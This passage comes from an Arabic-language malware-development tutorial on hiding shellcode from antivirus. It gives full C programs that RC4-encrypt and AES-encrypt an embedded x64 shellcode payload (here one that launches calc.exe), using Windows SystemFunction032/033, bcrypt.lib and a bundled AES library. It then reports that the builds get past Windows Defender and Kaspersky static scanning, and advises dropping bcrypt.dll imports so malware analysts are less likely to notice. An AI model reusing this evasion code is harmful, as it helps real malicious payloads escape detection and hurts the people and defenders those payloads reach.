  USTRING key = { .Buffer = pRc4Key, .Length = swRc4KeySize, .MaximumLength = swRc4KeySize };

  fnSystemFunction032 SystemFunction032 = (fnSystemFunction032)GetProcAddress(LoadLibraryA("Advapi32"), "SystemFunction032");

  if ((STATUS = SystemFunction032(&Data, &key)) != 0x0) {
    printf("[!] SystemFunction032 FAILED with Error : 0x%0.8X \n", STATUS);
    return FALSE;
  }

  return TRUE;
}

unsigned char OurShellCode[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
"\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
"\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
"\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
"\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
"\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
"\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
"\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
"\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
"\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b"
"\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";

unsigned char keys[] = { 0x04, 0x0d, 0x0e, 0x01 };

int main() {
  size_t shellcode_len = sizeof(OurShellCode) - 1;

  unsigned char OriginalShellCode[sizeof(OurShellCode)];
  memcpy(OriginalShellCode, OurShellCode, sizeof(OurShellCode));

  printf("[i] OurShellCode Plaintext Address: 0x%p\n", OurShellCode);
  printf("[i] Press <Enter> to Encrypt .....\n");
  getchar();

  if (!Rc4EncryptionViaSystemFunc032(keys, OurShellCode, sizeof(keys), shellcode_len)) {
    return -1;
  }

  printf("[i] OurShellCode Encrypted Address: 0x%p\n", OurShellCode);
  printf("[i] Encrypted OurShellCode: ");
  for (size_t i = 0; i < shellcode_len; i++) {
    printf("\\x%02x", OurShellCode[i]);
  }
  printf("\n\n");

  printf("[i] Press <Enter> to Decrypt .....\n");
  getchar();

  if (!Rc4EncryptionViaSystemFunc032(keys, OurShellCode, sizeof(keys), shellcode_len)) {
    return -1;
  }

  printf("[i] Decrypted OurShellCode: ");
  for (size_t i = 0; i < shellcode_len; i++) {
    printf("\\x%02x", OurShellCode[i]);
  }
  printf("\n");

  if (memcmp(OriginalShellCode, OurShellCode, shellcode_len) == 0) {
    printf("[i] Decryption Successful!\n");
  }
  else {
    printf("[!] Decryption Failed: Data Mismatch\n");
  }

  getchar();

  return 0;
}

2.3 RC4 Encryption Via SystemFunction033 :

[+] فـ الجزء اللـ فات استخدمنا SystemFunction032 ، الويندوز بيوفر كمان SystemFunction033 ، ودي نسخة تانية بس بتتعامل مع الداتا بطريقة مختلفة شوية .. الفرق الأساسي إن SystemFunction033 بتتعامل مع UNICODE_STRING بدل USTRING ، وده بيخليها تكون متوافقة أكتر مع بعض السيناريوهات اللـ بتحتاج Unicode Data Processing.

كل اللـ هنعمله إن هناخد الكود اللـ فات كوبي .. وهنـ Replace أي 032 بـ 033 بس ، وهو هو نفس الكود بنفس كل حاجه.

RC4-18

[+] وهتلاقي نفس النتيجة لما تـ رن.

3. AES Encryption :

[+] فـ الأجزاء اللـ فاتت اتكلمنا عن RC4 Encryption، وشفنا 3 طُرق لتشفير الشيل كود بتاعنا .. بس فـ مشكلة ، وهي إن الـ RC4 خوارزمية تشفير Stream Cipher ، وده معناه إنها بتشتغل ع Byte-by-Byte ، وده بيخليها عُرضة لهجمات معينة زي Bit-Flipping Attacks .. عشان كده المرادي هنروح لحاجة أقوى وهي AES Encryption.

[+] طيب ليه نستخدم AES بدل RC4؟

  1. أمان أعلى لإن الـ AES بيستخدم Block Cipher بدل Stream Cipher ، وده بيخليه أقوى بكتير ضد محاولات فك التشفير العشوائية.
  2. بيكون مُعقد أكتر لإن برامج الحماية بقت بتعرف تكتشف الـ RC4 Encrypted Payloads بسهولة ، لكن AES بيصعب عليهم القصة.
  3. وكمان مُعتمد بشكل رسمي لإن معظم الأنظمة الحديثة بتستخدم AES.

[+] إيه هو بقي الـ AES ؟

الـ AES أو الـ Advanced Encryption Standard ، دا نوع من أنواع ألجوريزم التشفير بيشتغل بطريقة الـ Symmetric Key Encryption ، يعني نفس الكي بيستخدم فـ التشفير والفك .. ودي خوارزمية قوية وبتستخدم فـ تأمين البيانات والمعلومات الحساسة لإنها بتوصل خصوصية عالية.

AES-1

[+] بيشتغل إزاي؟

الـ AES ع عكس الـ RC4 مش بيشفر الداتا Byte-by-Byte ، لا هو بيشتغل ع شكل بلوكات (Blocks) ، يعني بيقسم الداتا لمجموعة أجزاء كل جزء حجمه 16 بايت (128 بت) .. بيحصل التشفير ع كل بلوك لوحده ، والعمليات بتتم ع كذا جولة (Round) ع حسب طول الكي:

  • AES-128: فيه 10 جولات
  • AES-192: فيه 12 جولة
  • AES-256: فيه 14 جولة
AES-1

كل جولة فيها 4 عمليات أساسية بتحول الداتا لحالة مش مفهومة خالص:

  1. SubBytes (استبدال البايتات)
  2. فـ الخطوة دي بتاخد كل بايت فـ البلوك وتستبدله بـ بايت تاني باستخدام جدول معين اسمه S-Box ، والجدول ده معمول بطريقة تخلي أي تغيير فـ البايت الواحد يغير النتيجة كلها.

  3. ShiftRows (تحريك الصفوف)
  4. هنا البيانات بتتخزن ع شكل مصفوفة 4×4 ، والخطوة دي بتحرك الصفوف بتاعتها كالتالي:

    • الصف الأول بيفضل زي ما هو
    • الصف التاني يتحرك خطوة واحدة
    • الصف التالت يتحرك خطوتين
    • الصف الرابع يتحرك 3 خطوات
    ده بيعمل خلط للبيانات ويقلل احتمالية فك التشفير بسهولة.

  5. MixColumns (خلط الأعمدة)
  6. هنا كل عمود فـ المصفوفة بيتحول باستخدام معادلات رياضية معقدة ، وده بيزود صعوبة الكسر ويخلط البتات أكتر.

  7. AddRoundKey (إضافة الكي)
  8. آخر خطوة هي دمج الداتا مع الكي باستخدام عملية XOR.

AES-1-3

[+] وكل الخطوات دي بتحصل عشان تتم عملية الـ Encryption ، وعشان يحصل الـ Decryption بتتعكس الخطوات كالتالي:

  1. AddRoundKey (نفس الكي بس بالعكس)
  2. Inverse MixColumns
  3. Inverse ShiftRows
  4. Inverse SubBytes
AES-2

3.1 AES Encryption Via Bcrypt.lib :

[+] الفكرة هنا إن الويندوز بيوفر مكتبة اسمها Bcrypt.lib ، ودي مكتبة بتسهل تنفيذ خوارزميات التشفير زي AES من غير مـ تكتب الكود بنفسك .. وهنستخدم Windows Crypto API لتشفير وفك الـ Shellcode بتاعنا.

يلا نشوف أجزاء من الكود :

  1. دي مكتبة التشفير بتاعة الويندوز اللـ هنستخدمها.
  2. فـ السطر ده بعرف الـ Compiler إنه يربط الأكواد بتاعة مكتبة الـ bcrypt.lib عشان نقدر نشتخدم الدوال بتاعة التشفير اللـ جواها.
  3. هنا إحنا بنحدد إن حجم البلوك بتاع التشفير 16 بايت، وده لأن خوارزمية AES بتشتغل ببلوكات حجمها 16 بايت.
  4. دا الشيل كود اللـ بنستخدمة كل مره ، والكي طوله 16 بايت ، وده طبيعي لأن AES-128 بيستخدم مفتاح بنفس الطول ده.
  5. AES-3
  6. هنا جزء الفانكشن AESEncryptDecrypt ، ودي وظيفتها تشفر أو تفك تشفير الداتا باستخدام AES-128 فـ وضع الـ CBC ع حسب قيمة encrypt .. الأول بتفتح مزود التشفير (BCryptOpenAlgorithmProvider) ، وتحدد إننا هنشتغل بـ وضع CBC ، بعد كدا بتجيب حجم الكي المطلوب (BCryptGetProperty) ، وتعمل كي التشفير (BCryptGenerateSymmetricKey) باستخدام AESKey بعد مـ المفتاح يكون جاهز ، لو encrypt == TRUE الفانكشن بتشفر الداتا (BCryptEncrypt) ، ولو FALSE بتعمل فك تشفير (BCryptDecrypt) ، وبعد مـ العملية تخلص بتنسخ النتيجة مكان الداتا الأصلية وترجع TRUE لو كل حاجة مشت تمام ، أو FALSE لو حصلت مشكلة ، وفـ الحالتين بتنضف الميموري قبل مـ تخرج.
  7. AES-4
  8. آخر جزء وهو الـ main ، وهنا بقي الأول بيحسب حجم الـ Shellcode (originalSize) ، وبيحفظه فـ processedSize ، وبعدين بتشتغل دالة التشفير AESEncryptDecrypt ع OurShellCode ، ولو العملية نجحت، بيطبع الـ Shellcode المتشفر .. بعد كدا عملية فك التشفير بنفس الدالة ، ولو نجحت بيطبع الـ Shellcode بعد الفك.
  9. AES-5

[+] يلا نـ رن :

  1. ودا كدا الشيل كود قبل أي حاجه :
  2. AES-6
  3. ودا الشيل كود بعد التشفير :
  4. AES-7
  5. وتمت عملية الفك بنجاح :
  6. AES-8

[+] ودي كانت أول طريقة فـ الـ AES .. ودا الكود النهائي:

#include <windows.h>
#include <bcrypt.h>
#include <stdio.h>

#pragma comment(lib, "bcrypt.lib")

#define AES_BLOCK_SIZE 16

unsigned char OurShellCode[288] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
"\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
"\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
"\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
"\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
"\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
"\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
"\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
"\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
"\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b"
"\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";

unsigned char AESKey[16] = { 0x04, 0x0d, 0x0e, 0x01, 0x04, 0x0d, 0x0e, 0x01, 0x04, 0x0d, 0x0e, 0x01, 0x04, 0x0d, 0x0e, 0x01 };

BOOL AESEncryptDecrypt(PBYTE pData, DWORD dataSize, DWORD* pResultSize, BOOL encrypt) {
  BCRYPT_ALG_HANDLE hAlgorithm = NULL;
  BCRYPT_KEY_HANDLE hKey = NULL;
  DWORD cbKeyObject = 0, cbData = 0, cbResult = 0, cbCipherText = 0;
  PBYTE pbKeyObject = NULL;
  PBYTE pbOutput = NULL;
  unsigned char IV[AES_BLOCK_SIZE] = { 0 };

  if (BCryptOpenAlgorithmProvider(&hAlgorithm, BCRYPT_AES_ALGORITHM, NULL, 0) != 0) {
     printf("[-] Failed to open algorithm provider. Error Code: 0x%X\n", GetLastError());
     return FALSE;
  }

  if (BCryptSetProperty(hAlgorithm, BCRYPT_CHAINING_MODE, (PBYTE)BCRYPT_CHAIN_MODE_CBC, sizeof(BCRYPT_CHAIN_MODE_CBC), 0) != 0) {
     printf("[-] Failed to set chaining mode. Error Code: 0x%X\n", GetLastError());
     BCryptCloseAlgorithmProvider(hAlgorithm, 0);
     return FALSE;
  }

  if (BCryptGetProperty(hAlgorithm, BCRYPT_OBJECT_LENGTH, (PBYTE)&cbKeyObject, sizeof(DWORD), &cbResult, 0) != 0) {
     printf("[-] Failed to get key object length. Error Code: 0x%X\n", GetLastError());
     BCryptCloseAlgorithmProvider(hAlgorithm, 0);
     return FALSE;
  }

  pbKeyObject = (PBYTE)HeapAlloc(GetProcessHeap(), 0, cbKeyObject);
  if (!pbKeyObject) {
     printf("[-] Memory allocation failed for key object\n");
     BCryptCloseAlgorithmProvider(hAlgorithm, 0);
     return FALSE;
  }

  if (BCryptGenerateSymmetricKey(hAlgorithm, &hKey, pbKeyObject, cbKeyObject, AESKey, sizeof(AESKey), 0) != 0) {
     printf("[-] Failed to generate key. Error Code: 0x%X\n", GetLastError());
     HeapFree(GetProcessHeap(), 0, pbKeyObject);
     BCryptCloseAlgorithmProvider(hAlgorithm, 0);
     return FALSE;
  }

  NTSTATUS status;
  if (encrypt) {
     status = BCryptEncrypt(hKey, pData, dataSize, NULL, IV, sizeof(IV), NULL, 0, &cbCipherText, BCRYPT_BLOCK_PADDING);
  }
  else {
     status = BCryptDecrypt(hKey, pData, dataSize, NULL, IV, sizeof(IV), NULL, 0, &cbCipherText, BCRYPT_BLOCK_PADDING);
  }

  if (status != 0) {
     printf("[-] Failed to get size. Error Code: 0x%X\n", status);
     BCryptDestroyKey(hKey);
     HeapFree(GetProcessHeap(), 0, pbKeyObject);
     BCryptCloseAlgorithmProvider(hAlgorithm, 0);
     return FALSE;
  }

  pbOutput = (PBYTE)HeapAlloc(GetProcessHeap(), 0, cbCipherText);
  if (!pbOutput) {
     printf("[-] Memory allocation failed\n");
     BCryptDestroyKey(hKey);
     HeapFree(GetProcessHeap(), 0, pbKeyObject);
     BCryptCloseAlgorithmProvider(hAlgorithm, 0);
     return FALSE;
  }

  unsigned char localIV[AES_BLOCK_SIZE] = { 0 };
  if (encrypt) {
     status = BCryptEncrypt(hKey, pData, dataSize, NULL, localIV, sizeof(localIV), pbOutput, cbCipherText, &cbData, BCRYPT_BLOCK_PADDING);
     }
  else {
     status = BCryptDecrypt(hKey, pData, dataSize, NULL, localIV, sizeof(localIV), pbOutput, cbCipherText, &cbData, BCRYPT_BLOCK_PADDING);
  }

  if (status != 0) {
     printf("[-] %s failed. Error Code: 0x%X\n", encrypt ? "Encryption" : "Decryption", status);
     HeapFree(GetProcessHeap(), 0, pbOutput);
     BCryptDestroyKey(hKey);
     HeapFree(GetProcessHeap(), 0, pbKeyObject);
     BCryptCloseAlgorithmProvider(hAlgorithm, 0);
     return FALSE;
  }

  memcpy(pData, pbOutput, cbData);
  *pResultSize = cbData;

  HeapFree(GetProcessHeap(), 0, pbOutput);
  BCryptDestroyKey(hKey);
  HeapFree(GetProcessHeap(), 0, pbKeyObject);
  BCryptCloseAlgorithmProvider(hAlgorithm, 0);
  return TRUE;
}

int main() {
  DWORD originalSize = sizeof(OurShellCode) - 1;

  DWORD processedSize = originalSize;

  printf("[i] Original Address: 0x%p\n", OurShellCode);
  printf("[i] Press <Enter> to Encrypt ... \n");
  getchar();

  printf("[+] Encrypting...\n");
  if (!AESEncryptDecrypt(OurShellCode, originalSize, &processedSize, TRUE)) {
     return -1;
  }
  printf("[i] Encrypted Shellcode (%d bytes):\n", processedSize);
  for (DWORD i = 0; i < processedSize; i++) {
      printf("\\x%02x", OurShellCode[i]);
  }
  printf("\n\n");
  printf("Press <Enter> to Decrypt ... \n");

  getchar();

  printf("[+] Decrypting...\n");
  if (!AESEncryptDecrypt(OurShellCode, processedSize, &processedSize, FALSE)) {
     return -1;
  }
  printf("[i] Decrypted Shellcode (%d bytes):\n", processedSize);
  for (DWORD i = 0; i < processedSize; i++) {
     printf("\\x%02x", OurShellCode[i]);
  }
  printf("\n");
  getchar();

  return 0;
}

[+] بس فـ حاجه .. الطريقة دي فيها مشكلة ، إيه هي المشكلة دي بقي ؟

لما تحط البرنامج ع PE-Bear أو Total PE، هتلاقي فـ جزء الـ Import Table إن مكتبة bcrypt.dll موجودة ، وده بيدي علامة واضحة إن البرنامج بيستخدم دوال التشفير ، سواء للتشفير أو الفك .. وده مشكلة لسببين:

  1. برامج الـ Antivirus ممكن تشك فيه بسهولة :
  2. أي برنامج بيستخدم bcrypt.dll فـ بيئة غير تقليدية (زي إنه بيتعامل مع Shellcode) ، هيكون مشبوه بالنسبة للـ AV ، وده ممكن يخليه يتقفش ويتصنف كـ Malware أو Suspicious Program.

  3. الناس الجميلة بتوع الـ Malware Analysts ممكن يكتشفوه بسرعة:
  4. لما حد منهم يحلل الملف ، هيلاحظ إن البرنامج بيتعامل مع bcrypt.dll ، وده معناه إنه ممكن يكون بيشفر حاجة عشان يخفيها .. فبالتالي هيحاول يفك التشفير ويحلل الـ Shellcode عشان يفهم بيعمل إيه.

AES-9

[+] هنحل الموضوع ده بالطريقة التانيه.

3.2 AES Encryption Via Imported Files :

[+] فـ الطريقة دي بقي .. هنعالج المشكلة بتاعة الطريقة اللـ فاتت .. وأنا سميت الطريقة دي Imported Files ، لإننا هنعتمد ع ملفات نضيفها فـ البروجيكت بتاعنا .. مش هنعتمد ع مكتبة الويندوز.

  • الأول هنجتاج نـ Import ملفين وهما aes.c ، aes.h .. ولو مش عارف بنضيفهم إزاي إرجع لمقالة الـ Payload Placement وتحديدا جزء الـ Rsrc وهتعرف.
  • ودا لينك المصدر للملفين ع الجيتهاب.

    ودا لينك المصدر للكود.

    AES-10

[+] تعالي نـ رن :

  1. دا كدا العنوان للشيل كود الأصلي بتاعنا.
  2. AES-11
  3. وهنا عمل الـ Encryption ، وطبع الـ Key ، والـ IV.
  4. AES-12
  5. هناخد الـ Output اللـ طلع كوبي .. وهنعمل كومنت ع فانكشن الـ Encryption .. ونشيل الكومنت من ع فانكشن الـ Decryption .. ونضيف الـ Output ، ونـ رن.
  6. AES-13
  7. وهنا هنلاقي الشيل كود المتشفر بتاعنا :
  8. AES-14
  9. وكدا تم الفك بنجاح ورجع لأصلة :
  10. AES-15

[+] ودي كانت تاني وآخر طريقة فـ الـ AES .. ودا الكود النهائي:

#include <windows.h>
#include <aes.h>
#include <stdio.h>
#include <time.h>

#define KEYSIZE 32
#define IVSIZE 16

void generateKey(BYTE* key) {
  for (int i = 0; i < KEYSIZE;++i) {
    key[i] = (BYTE)rand() % 256;
  }
}

void generateIV(BYTE* iv) {
  for (int i = 0; i < IVSIZE; ++i) {
    iv[i] = (BYTE)rand() % 256;
  }
}

void addPadding(unsigned char* data, size_t dataSize) {
  unsigned char paddingValue = 16 - (dataSize % 16);
  for (size_t i = dataSize; i < (dataSize + paddingValue); ++i) {
    data[i] = paddingValue;
  }
}

unsigned char key[16] = { 0x04, 0x0d, 0x0e, 0x01, 0x04, 0x0d, 0x0e, 0x01, 0x04, 0x0d, 0x0e, 0x01, 0x04, 0x0d, 0x0e, 0x01 };

//Encryption
int main() {
  unsigned char OurShellCode[288] =
    "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
    "\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
    "\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
    "\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
    "\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
    "\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
    "\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
    "\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
    "\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
    "\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
    "\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
    "\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
    "\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
    "\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
    "\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
    "\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b"
    "\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd"
    "\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
    "\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
    "\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";

  printf("[i] Original Address: 0x%p\n", OurShellCode);

  struct AES_ctx ctx;
  addPadding(OurShellCode, sizeof(OurShellCode));
  printf("[i] Press <Enter> to Encrypt ... \n");
  getchar();

  BYTE pKey[KEYSIZE];
  BYTE pIv[IVSIZE];

  srand(time(NULL));
  generateKey(pKey);

  srand(time(NULL) ^ pKey[0]);
  generateIV(pIv);

  printf("unsigned char pKey[] = \"");
  for (int i = 0; i < KEYSIZE; ++i) {
    printf("\\x%02x", pKey[i]);
  }
  printf("\";\n\n");

  printf("unsigned char pIV[] = \"");
  for (int i = 0; i < IVSIZE; ++i) {
    printf("\\x%02x", pIv[i]);
  }
  printf("\";\n\n");

  AES_init_ctx_iv(&ctx, pKey, pIv);
  AES_CBC_encrypt_buffer(&ctx, OurShellCode, sizeof(OurShellCode));
  printf("unsigned char OurShellCode[] = \"");
  for (int i = 0; i < sizeof(OurShellCode); ++i) {
    printf("\\x%02x", OurShellCode[i]);
  }
  printf("\";\n\n");

  getchar();

  return 0;
}

// Decryption
//int main() {
// OUTPUT Key, IV & ShellCode here:
//
//
//

//   printf("[i] Encrypted ShellCode Address: 0x%p\n", OurShellCode);

// //   struct AES_ctx ctx;

// //   AES_init_ctx_iv(&ctx, pKey, pIV);

// //   printf("[i] Press <Enter> to Encrypt ... \n");
//   getchar();

// //   AES_CBC_decrypt_buffer(&ctx, OurShellCode, sizeof(OurShellCode));
//   printf("Decrypted OurShellCode[] : ");
//   for (int i = 0; i < sizeof(OurShellCode); ++i) {
//     printf("\\x%02x", OurShellCode[i]);
//   }
//   printf("\n\n");

// //   getchar();

// //   return 0;
//}

[+] لو جربت البرنامج المرادي ع PE-Bear أو Total PE .. مش هتلاقي إنه معتمد ع مكتبة التشفير بتاعة الويندوز :

AES-16

[+] تعالي بقي نختم المقالة دي بـ آخر جزء وهو .. هنشوف من كل اللـ عملناه ده ، مين الـ Windows Defender مسكه ومين لا :

  • كل اللـ عملته وهو إني حطيت الشيل كود متشفر فـ كل واحد .. ومعاه طبعا الفانكشن بتاعة الـ Decryption .. وهنشوف مين هيتمسك ، هتعمل Build للكل.
  • Bypass-1
  • أول واحد ودا كان Basic .. فيه الشيل كود من غير أي تشفير ولا أي حاجه .. وطبيعي هيتمسك :
  • Bypass-2
  • الـ XorByOneKey نجح واشتغل وفك تشفير الشيل كود من غير مـ يتمسك :
  • Bypass-3
  • الـ XorByIKey .. كمان Done ✅
  • Bypass-4
  • أخوهم التالت .. XorByMultiKeys .. هو كمان Done ✅
  • Bypass-5
  • الـ RC4 Custom Implementation .. ينضم للقائمة .. Done ✅
  • Bypass-6
  • الـ RC4 SystemFunction032 & SystemFunction033 .. كلهم Done ✅
  • Bypass-7
  • الـ AES وأخوه .. Done ✅
  • Bypass-8

[+] حبيت أخلي الموضوع Challenging أكتر .. وقولت أجرب ع Kaspersky Premium .. بس يا دوب حطيت الملفات كوبي لقيت المنظر ده :

  • ماتت عائلة الـ XOR :(
  • Bypass-9
  • بس فـ ملحوظة هنا .. ما هذا ؟؟
  • Bypass-10
  • بس لما جيت أفتح واحد فيهم .. لقيت الإيرور ده .. وبعد شوية محاولات فـ حل الإيرور .. مفتحش برضه .. غالبا المشكلة عندي أنا .. جرب عندك كدا ولو تمام عرفني.
  • Bypass-11
  • فـ ملحوظه تانيه .. وهي إني وقفت الـ Kaspersky عشان أقدر أشغل ملفات الـ XOR .. ولقيت إن نفس الإيرور .. وأكيد المشكلة عندي .. بس بعيدا عن ده .. مش معني كده إن الملفات اللـ فوق قدرت تعمل Bypass ؟ .. أيعقل ؟؟
  • Bypass-12
  • حاول تجرب وتكتشف كدا بنفسك ...

[#] تعديل بعد حل الإيرور :

[+] محبتش أشيل الجزء اللـ فوق من المقالة ، وسيبتها عشان تعرف إن أكيد بيحصل إيرورز ، وتحاول بنفسك تحلها.

[+] المشكلة كانت إني كنت عامل Build للبرامج اللـ مفتحتش دي ع نمط الـ Debug .. والحل إنك هتغير النمط وتبني ع الـ Release

  • ودا كدا للـ RC4 ، وإخواته .. Done ✅
  • Bypass-13
  • الـ AES وأخوه .. Done ✅
  • Bypass-14
  • بس طبعا متحاولش تفرح كتير .. إحنا بس مجرد عدينا الـ Static Analysis .. بس وقت الجد والحقيقة لما يترن البرنامج وييجي يشغل الـ Calculator .. الـ Dynamic Analysis هيقفشه .. وهنشوف دا المقالة الجاية.

وبكدا . أتمني تكون استفدت حاجه .. ونلتقي فـ مقالة قادمة .. ولو عندك أي تعليق ، استفسار ، أي حاجه .. متترددش وكلمني.

References

خدلك لفة فـ المصادر والمراجع يا عزيزي:

XOR :

RC4 :

AES :